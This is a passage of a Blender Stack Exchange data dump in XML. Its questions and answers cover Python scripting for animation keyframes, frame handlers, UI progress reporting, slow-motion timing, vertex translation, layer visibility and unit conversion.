script:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;purge the event list:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f_change = bpy.app.handlers.frame_change_pre&#xA;del f_change[0:len(f_change)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-14T10:11:01.890" LastActivityDate="2013-06-14T10:11:01.890" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1046" PostTypeId="1" AcceptedAnswerId="1047" CreationDate="2013-06-14T05:45:03.903" Score="7" ViewCount="717" Body="&lt;p&gt;I have an object, which has two keyframes to make a short animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a script which duplicates this object and its animation and changes the start frame of the animation. I currently have this code : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;line = duplicateObject(bpy.data.scenes[&quot;Scene&quot;], &quot;Line&quot;, bpy.data.objects[&quot;Line&quot;])&#xA;line.location[0] = value[0]&#xA;line.hide = False&#xA;line.animation_data_create()&#xA;line.animation_data.action = bpy.data.objects['Line'].animation_data.action.copy()&#xA;frame_range = line.animation_data.action.frame_range&#xA;line.animation_data.action.frame_range = mathutils.Vector([frame + frame_range[0], frame + frame_range[1]])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which doesn't work because I can't assign the frame_range variable, it's read only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion?&lt;/p&gt;&#xA;" OwnerDisplayName="user471" LastEditorUserId="47" LastEditDate="2013-06-14T07:27:29.697" LastActivityDate="2013-06-16T01:41:23.833" Title="Set existing animation start frame with script" Tags="&lt;animation&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1047" PostTypeId="2" ParentId="1046" CreationDate="2013-06-14T07:48:35.507" Score="6" Body="&lt;p&gt;You're right. Since &lt;code&gt;frame_range&lt;/code&gt; is read-only, you can't modify it directly. It gives you the range over which all fcurves of that action are defined. AFAIK you'll have to change fcurve values of that action. Here's a small snippet of how to do that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; for f in line.animation_data.action.fcurves:&#xA;...     for k in f.keyframe_points:&#xA;...         k.co[0] += frame&#xA;...         k.handle_left[0] += frame&#xA;...         k.handle_right[0] += frame&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...where I assume you have predefined value for &lt;code&gt;frame&lt;/code&gt; (e.g. &lt;code&gt;frame = 10&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here each of &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bpy.types.Keyframe.html#bpy.types.Keyframe.co&quot;&gt;&lt;code&gt;k.co&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bpy.types.Keyframe.html#bpy.types.Keyframe.handle_left&quot;&gt;&lt;code&gt;k.handle_left&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bpy.types.Keyframe.html#bpy.types.Keyframe.handle_right&quot;&gt;&lt;code&gt;k.handle_right&lt;/code&gt;&lt;/a&gt;, have 2 components: frame number and value. We have incremented the frame number of each keyframe (to translate all keyframes by constant amount). You can also play around with advanced things such as scaling or resampling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Happy PyBlendering! :)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;PS: Please note that if inside your &lt;code&gt;duplicateObject(...)&lt;/code&gt; function if you're calling &lt;code&gt;bpy.ops.object.duplicate(...)&lt;/code&gt;, then you don't need to separately create animation data or action, since it is done automatically by the operator.&lt;/p&gt;&#xA;" OwnerUserId="667" LastEditorUserId="667" LastEditDate="2013-06-14T07:59:21.550" LastActivityDate="2013-06-14T07:59:21.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1048" PostTypeId="2" ParentId="80" CreationDate="2013-06-14T09:03:18.083" Score="6" Body="&lt;p&gt;Here is an overview of (near) all command line options for Blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/2.80/advanced/command_line/render.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.blender.org/manual/en/2.80/advanced/command_line/render.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -b file.blend -o //file -F JPEG -x 1 -f 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="670" LastEditorUserId="-1" LastEditDate="2019-08-15T17:01:56.347" LastActivityDate="2019-08-15T17:01:56.347" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1049" PostTypeId="1" CreationDate="2013-06-14T09:31:16.363" Score="2" ViewCount="406" Body="&lt;p&gt;I have figured out what was &lt;a href=&quot;https://blender.stackexchange.com/questions/951/smoke-generator-does-not-work&quot;&gt;wrong with the smoke&lt;/a&gt;, I could render it but I could not see it but it was there just the same, thank you. Now when I try and render two different smoke colors they both come out the same. I have gone into the compositor and created two different settings but I cannot apply them, also when creating two separate domain boxes and two emitters they only take one setting. I have tried to put them on separate layers but this does not work either, I do not want to go into the video sequence editor as this is long. Is there a solution for this?&lt;/p&gt;&#xA;" OwnerUserId="620" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2013-06-18T13:19:34.887" Title="Problem rendering multiple smoke textures" Tags="&lt;materials&gt;&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1050" PostTypeId="1" AcceptedAnswerId="1052" CreationDate="2013-06-14T09:45:53.733" Score="23" ViewCount="4274" Body="&lt;p&gt;The following question might've been asked several times, but I've found no satisfactory answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Short question:&lt;/strong&gt; &#xA;How can I show progress of background task in Blender UI?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Explanation:&lt;/strong&gt;&#xA;I have a long running task which I want to run in the background. I know there's some &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/info_gotcha.html#strange-errors-using-threading-module&quot;&gt;gotcha&lt;/a&gt; while using threads in python script, but since the task does not affect blender objects or data in any way, there's no reason the user should wait for it to complete (they can continue with other things in their pipeline). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thread works perfectly fine without any crashes, and I can show the progress on console. However to show the progress in the UI I do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Have an integer/float property with subtype 'PERCENTAGE' which will be set to current progress. This might crash blender, since I'm actually modifying blender data. I've even tried this with some Blender versions and it kinda worked for pre-2.65. However it does not work for latest Blender builds.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In recent Blender version, I've found a new api named &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bpy.types.WindowManager.html#bpy.types.WindowManager.progress_begin&quot;&gt;&lt;code&gt;window_manager.progress_begin&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bpy.types.WindowManager.html#bpy.types.WindowManager.progress_update&quot;&gt;&lt;code&gt;window_manager.progress_update&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bpy.types.WindowManager.html#bpy.types.WindowManager.progress_end&quot;&gt;&lt;code&gt;window_manager.progress_end&lt;/code&gt;&lt;/a&gt;. I'm not sure if they are really intended to show progress, and if that is the case, how to use them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;EDIT:&lt;/em&gt; I've found an add-on template &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?285160&quot;&gt;Always On Blank Render Engine&lt;/a&gt; by @Atom which seems to do the trick. It basically extends &lt;code&gt;RenderEngine&lt;/code&gt; so all events can be captured. This is the first time I've tried it, and it can show progress similar to rendering progress (which is exactly what I want). However with a very quick test it seems that it'll also open a render preview window when the task is run, and also it shows the label as &quot;Rendering&quot; near the progressbar :-( Has anyone got any experience with extending &lt;code&gt;RenderEngine&lt;/code&gt;?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there any option I can show progress in the UI? Or, is there any future plan regarding this?&lt;/p&gt;&#xA;" OwnerUserId="667" LastEditorUserId="667" LastEditDate="2013-06-14T16:10:40.940" LastActivityDate="2019-07-01T06:18:53.983" Title="Blender UI Multithreading Progressbar" Tags="&lt;scripting&gt;&lt;interface&gt;&lt;python&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="1051" PostTypeId="2" ParentId="1042" CreationDate="2013-06-14T10:02:36.327" Score="6" Body="&lt;h3&gt;Cycles&lt;/h3&gt;&#xA;&lt;p&gt;In &lt;em&gt;Cycles Render&lt;/em&gt;, it's rather easy. Create your two &lt;em&gt;Color Layers&lt;/em&gt; and animate the &lt;em&gt;MixRGB's Fac:&lt;/em&gt; value.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZlCln.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I'm not familiar enough with Blender Internal to find a suitable answer for that engine. Luckily, &lt;a href=&quot;https://blender.stackexchange.com/users/242/brecht&quot;&gt;brecht&lt;/a&gt; provided &lt;a href=&quot;http://www.pasteall.org/blend/22120&quot; rel=&quot;nofollow noreferrer&quot;&gt;an answer&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Blender Internal&lt;/h3&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZfaDY.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-07-21T01:06:15.060" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1052" PostTypeId="2" ParentId="1050" CreationDate="2013-06-14T12:04:41.340" Score="12" Body="&lt;p&gt;The general mechanism to solve UI thread safety issues is to pass data from the worker thread to the main thread and then update the UI in the main thread using that data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case you would create a modal operator that gets called regularly with a timer, see &lt;code&gt;Text Editor &amp;gt; Templates &amp;gt; Python &amp;gt; Operator Modal Timer&lt;/code&gt; for an example. Each time the operator &lt;code&gt;modal&lt;/code&gt; function is called, you would check if the data has changed and update the UI accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How you pass the data between threads depends on the multithreading mechanism you are using. In Python there are a &lt;code&gt;queue&lt;/code&gt; and &lt;code&gt;multiprocessing.Queue&lt;/code&gt; modules that can be used with the &lt;code&gt;threading&lt;/code&gt; and &lt;code&gt;multiprocessing&lt;/code&gt; modules respectively. You put data in the queue in the worker thread and then get it out in the main thread.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-06-14T12:04:41.340" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1053" PostTypeId="1" AcceptedAnswerId="7799" CreationDate="2013-06-14T14:15:07.563" Score="52" ViewCount="15956" Body="&lt;p&gt;I have created a storyboard where I frequently switch between slow-motion and normal motion. The scene involves a particle system, several animated objects and an animated camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I animate time for all objects globally? If possible I would love to do so using a curve so I can transition smoothly from real-time to slow-motion and back again. As far as I remember there was such thing as a &quot;Time IPO&quot; curve in Blender 2.4.x but I have yet to find the equivalent, nor do I know if that is actually what I am looking for.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;See related question: &lt;a href=&quot;https://blender.stackexchange.com/questions/36605/which-animation-features-dont-support-sub-frames/36755#36755&quot;&gt;Which animation features don&amp;#39;t support sub-frames?&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="83" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2017-05-30T21:18:13.077" Title="How do I animate time?" Tags="&lt;animation&gt;" AnswerCount="7" CommentCount="5" FavoriteCount="37" ContentLicense="CC BY-SA 3.0" />
  <row Id="1054" PostTypeId="1" CreationDate="2013-06-14T14:54:40.180" Score="24" ViewCount="22698" Body="&lt;p&gt;I'd like to do motion graphics type work in blender and it would be really helpful if I could see the results of keyframing material opacity to cut items in and out of view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender internal is sufficient, using shadeless materials.  I could have swore there used to be something in view options.  Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="675" LastActivityDate="2020-10-08T07:47:19.047" Title="Material Opacity in viewport?" Tags="&lt;3d-view&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1055" PostTypeId="2" ParentId="712" CreationDate="2013-06-14T14:57:59.683" Score="2" Body="&lt;p&gt;There is also the &lt;a href=&quot;https://github.com/mrdoob/three.js/tree/master/utils/exporters/blender&quot; rel=&quot;nofollow&quot;&gt;Three.JS&lt;/a&gt; exporter by Mr Doob which can output a version of your animation that can be played in any WebGL capable browser. Here's an example of animation exported to &lt;a href=&quot;http://threejs.org/examples/webgl_loader_collada_keyframe.html&quot; rel=&quot;nofollow&quot;&gt;Three.js&lt;/a&gt; . This method does require some understanding of JavaScript, if you want to customize it to have WASD-like controls.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-14T15:38:19.073" LastActivityDate="2013-06-14T15:38:19.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1056" PostTypeId="2" ParentId="1054" CreationDate="2013-06-14T15:00:12.997" Score="23" Body="&lt;p&gt;Object panel &gt; Display &gt; Transparency Checkbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works for Blender Internal but not Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4gho6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2014-11-25T16:01:03.213" LastActivityDate="2014-11-25T16:01:03.213" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="1057" PostTypeId="1" CreationDate="2013-06-14T15:08:44.143" Score="6" ViewCount="365" Body="&lt;p&gt;I have a chessboard object that I've appended to the file. However, no matter what I do I can't edit the behavior of the texture coordinates. 3d Texture view and UV window clearly show the appropriate coordinates, but the render clearly has old coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried deleting the textures and making new ones by selecting the same images in the file browser pop-up(switch-up). No change. I also duplicated the object and deleted the original; 'no change (not sure if all this is silly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll add a link to the file tonight, as soon as I can connect to the internet with the other machine/have access to thumb drive.&lt;/p&gt;&#xA;" OwnerUserId="594" LastEditorUserId="599" LastEditDate="2013-09-17T01:19:19.980" LastActivityDate="2013-09-17T01:19:19.980" Title="Append Texture Coordinates" Tags="&lt;texturing&gt;&lt;append&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1058" PostTypeId="2" ParentId="1057" CreationDate="2013-06-14T15:48:04.083" Score="4" Body="&lt;p&gt;are you using cycles, BI, or something else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For cycles, you might have to add a &lt;em&gt;texture coordinates&lt;/em&gt; node.&#xA;For BI, you might have to switch the coordinates to be UV in the image mapping section.&lt;/p&gt;&#xA;" OwnerUserId="676" LastActivityDate="2013-06-14T15:48:04.083" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1059" PostTypeId="2" ParentId="1053" CreationDate="2013-06-14T15:54:09.673" Score="7" Body="&lt;p&gt;Blender's time is very quantized, and doing something as simple as encoding at multiple frame rates (PAL -vs- NTSC -vs- cinema) can be frustrating.  This is in contrast to animated SVG where everything is in continuous time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the animation philosophy of &quot;don't make it if you can fake it&quot;, consider setting your frame rate at 3000Hz and then only render every 100th frame.  There is a Frame Step parameter in the Render tab.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing the smooth transitions would be a little trickier, requiring you to render frames at non-uniform steps.  I am optimistic that the blender API has functions you could drive from a python script to render specific frame numbers according to a non-linear formula that will give the effect of a smooth transition from slow-mo to real-time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Nyquist-Shannon theorem would suggest you set your project's frame rate at twice the frequency of your fastest slow-motion shots, and I don't see the harm in setting it at 10x (but I invite corrections).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to be a wonk, here are the frame steps to achieve all the frame rates I remember from MPEG specifications&lt;/p&gt;&#xA;&#xA;&lt;p&gt;divisor = 60000&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;60Hz = step 1000&lt;/li&gt;&#xA;&lt;li&gt;59.94Hz = step 1001 &lt;/li&gt;&#xA;&lt;li&gt;30Hz = step 2000&lt;/li&gt;&#xA;&lt;li&gt;29.97Hz = step 2002 (NTSC)&lt;/li&gt;&#xA;&lt;li&gt;25Hz = step 2400 (PAL)&lt;/li&gt;&#xA;&lt;li&gt;24Hz = step 2500 (cinema)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="660" LastActivityDate="2013-06-14T15:54:09.673" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1060" PostTypeId="2" ParentId="1053" CreationDate="2013-06-14T15:55:04.990" Score="3" Body="&lt;p&gt;This isn't the cleanest way to handle the issue, but you can manually convert specific segments of your animation to slow-motion in the Graph Editor. Select the range of keyframes you want to do in slow-motion, scale them in the x direction (&lt;kbd&gt;S&lt;/kbd&gt;+&lt;kbd&gt;X&lt;/kbd&gt;), then shift them/the surrounding frames to fit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, it's a clunky solution, but if there's no cleaner way to do it, at least this is an option.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-06-14T15:55:04.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1061" PostTypeId="5" CreationDate="2013-06-14T15:55:58.953" Score="0" Body="&lt;p&gt;Use this tag for questions about any file format with regards to Blender, whether it be an image, movie, sound, 3D file, or other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File formats on the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Files/Formats&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="32220" LastEditDate="2018-10-14T14:34:04.123" LastActivityDate="2018-10-14T14:34:04.123" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1062" PostTypeId="4" CreationDate="2013-06-14T15:55:58.953" Score="0" Body="A file format is a particular way that information is encoded for storage in a computer file." OwnerUserId="238" LastEditorUserId="238" LastEditDate="2013-06-15T02:55:25.937" LastActivityDate="2013-06-15T02:55:25.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1064" PostTypeId="1" AcceptedAnswerId="1082" CreationDate="2013-06-14T16:44:14.387" Score="11" ViewCount="3011" Body="&lt;p&gt;I have a lot of objects. I need to translate every vertex of every object by an offset, without moving the objects origin. For a single object, I can do this &lt;kbd&gt;Tab&lt;/kbd&gt;bing into &lt;em&gt;Edit Mode&lt;/em&gt;, selecting all with &lt;kbd&gt;A&lt;/kbd&gt;, and then translating with &lt;kbd&gt;G&lt;/kbd&gt;. I would have to repeat this for every object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I select every object in &lt;em&gt;Object Mode&lt;/em&gt;, I can translate everything with &lt;kbd&gt;G&lt;/kbd&gt;, but the transform is not applied to just vertices; it moves the origin, too. I need this to export the mesh with Ogre exporter.&lt;/p&gt;&#xA;" OwnerUserId="140" LastEditorUserId="20508" LastEditDate="2016-07-02T02:27:26.463" LastActivityDate="2016-07-02T02:27:26.463" Title="Translate all vertices of all selected objects" Tags="&lt;transforms&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1066" PostTypeId="2" ParentId="1064" CreationDate="2013-06-14T17:05:44.293" Score="5" Body="&lt;p&gt;This might not be the best solution, but being a developer I can't resist myself from posting this answer... :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open console and type following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Move mesh vertices without affecting its origin&#xA;def move_by_amount(x, y, z, only_selected=True): # Default is True&#xA;    if only_selected:&#xA;        meshes = (obj.data for obj in bpy.context.selected_objects if obj.type == 'MESH')&#xA;    else:&#xA;        meshes = bpy.data.meshes&#xA;    for mesh in meshes: # We move selected/all meshes&#xA;        for vertex in mesh.vertices:&#xA;            vertex.co += Vector((x, y, z)) # See comments&#xA;&#xA;# Replace with your own x, y, z coordinates&#xA;move_by_amount(10, -15, 5, True) # True to move only selected objects&#xA;move_by_amount(10, -15, 5, False) # False to move all objects&#xA;move_by_amount(10, -15, 5) # Default is True to move only selected objects&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This has at least passed a basic test with few cubes without changing origins. Please test with your data. You can always undo if things go wrong! ;-)&lt;/p&gt;&#xA;" OwnerUserId="667" LastEditorUserId="667" LastEditDate="2013-06-15T05:25:11.510" LastActivityDate="2013-06-15T05:25:11.510" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1067" PostTypeId="1" AcceptedAnswerId="1068" CreationDate="2013-06-14T17:24:08.480" Score="14" ViewCount="7731" Body="&lt;p&gt;I remember being able to animate layers using keyframes in some previous Blender release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if I try to add a keyframe to an object layer I get the following error message :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;layers&quot; property cannot be animated&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have the following code which can change the layer, but it's not really useful, I would like to have it in an animation, so I can reuse it. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects['Cube'].layers = [False, True, False, False, False, False, False,False,False,False,False,False,False,False,False,False,False,False,False,False]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user471" LastActivityDate="2016-05-08T14:59:21.673" Title="How to animate layers in Blender 2.6" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1068" PostTypeId="2" ParentId="1067" CreationDate="2013-06-14T18:33:11.970" Score="14" Body="&lt;p&gt;From information in a &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?253538-Change-layer-visibility-in-Blender-2-63&quot;&gt;BlenderArtists thread&lt;/a&gt;, keyframing object layer is not a developer-approved way to animate visibility, and is now &lt;a href=&quot;http://projects.blender.org/scm/viewvc.php?view=rev&amp;amp;root=bf-blender&amp;amp;revision=51946&quot;&gt;deliberately disabled&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If what you really want to animate is visibility, you can keyframe the object's Restrict Render property directly  in the outliner space, by moving the mouse above the camera icon and pressing &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SKBh1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorDisplayName="user1853" LastEditDate="2015-02-03T14:58:21.117" LastActivityDate="2015-02-03T14:58:21.117" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1070" PostTypeId="1" AcceptedAnswerId="1071" CreationDate="2013-06-14T19:22:02.153" Score="6" ViewCount="721" Body="&lt;p&gt;Is there a bpy function to convert from blender units to Imperial? something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;gt;&amp;gt;&amp;gt; blender_to_imperial(2.0)&#xA;   ... 6.562'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This functionality is present when showing edge lengths, but I can't seem to find a function that can return the conversion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found one in the &lt;a href=&quot;https://code.google.com/p/macouno/source/browse/trunk/Blender/addons/caliper.py&quot; rel=&quot;nofollow&quot;&gt;caliper script&lt;/a&gt; by macouno, but am wondering if this isn't something that exists already in bpy.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="29" LastEditDate="2014-02-28T18:57:49.843" LastActivityDate="2014-02-28T18:57:49.843" Title="Is there a bpy function to convert from blender units to Imperial?" Tags="&lt;conversion&gt;&lt;units&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1071" PostTypeId="2" ParentId="1070" CreationDate="2013-06-14T20:39:31.130" Score="6" Body="&lt;p&gt;I found several internal conversion code in the source, like one in &lt;code&gt;view3d_ruler.c&lt;/code&gt; for &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.ops.view3d.html#bpy.ops.view3d.ruler&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;bpy.ops.view3d.ruler()&lt;/code&gt;&lt;/a&gt;, or in &lt;code&gt;drawobject.c&lt;/code&gt; for measurement stats, none of them with direct Python interface. No reference to it, too, in the API manual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CMIIW, but I think we'll have to write one. All distributed addons so far, like &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Panel_Measure&quot; rel=&quot;noreferrer&quot;&gt;Measure Panel&lt;/a&gt;, also write their own conversion function, and it looks like the &lt;a href=&quot;https://svn.blender.org/svnroot/bf-extensions/trunk/py/scripts/addons/space_view3d_panel_measure.py&quot; rel=&quot;noreferrer&quot;&gt;aforementioned addon&lt;/a&gt; have several function we can use directly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import space_view3d_panel_measure as pm&#xA;&#xA;uinfo = pm.getUnitsInfo()    &#xA;print(pm.convertDistance(2, uinfo)) # prints 2.0m, 2.0 BU, or 6.56168'&#xA;                                    # depending on selected unit system.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-06-14T20:58:41.080" LastActivityDate="2013-06-14T20:58:41.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1072" PostTypeId="5" CreationDate="2013-06-14T21:29:15.390" Score="0" Body="&lt;p&gt;Dimensioning is the process of giving a 3D model a relative size in the world. Objects are dimensioned using units that fit their size best. Large objects such as buildings are measured in meters and feet instead of cm and inches. Small things (relative to us) like ants are measured in mm, cm, or inches but never meters or feet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender when we deal with units of distance or length we have the freedom to choose &lt;code&gt;Metric&lt;/code&gt; or &lt;code&gt;Imperial&lt;/code&gt;. Blender internally uses &lt;em&gt;Blender Units&lt;/em&gt; (BU), 1 BU directly correlates to 1 meter in the metric system. The default Cube has edges of 2 meter, or 2 BU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the time of this writing Blender doesn't have a way to dimension 3d objects using ANSI conventions, and there is a very good reason for this: Blender is primarily developed as an artistic 3D graphics package and not a precision critical CAD engineering package such as those used in aerospace or aeronautics.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="599" LastEditDate="2013-07-01T16:57:27.040" LastActivityDate="2013-07-01T16:57:27.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1073" PostTypeId="4" CreationDate="2013-06-14T21:29:15.390" Score="0" Body="Dimensioning is used to accurately describe the real world size of objects. " OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-15T22:25:39.283" LastActivityDate="2013-06-15T22:25:39.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1074" PostTypeId="1" CreationDate="2013-06-14T23:48:55.250" Score="5" ViewCount="124" Body="&lt;p&gt;I would like to procedurally emit particles (fluid mode) from the 'steepest' parts of animated 'waves' created by a Ocean modifier to attempt to emulate foam and splashes. I assume frame by frame normals values could be used, but cant figure out how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how would I go about procedurally weighting a mesh based on the face angles of an animated mesh? &lt;em&gt;(ocean modifier in displace mode)&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="682" LastEditorUserId="12" LastEditDate="2013-06-14T23:50:27.660" LastActivityDate="2013-06-17T03:19:28.593" Title="Procedurally weight a mesh based on the face angles of an animated mesh" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
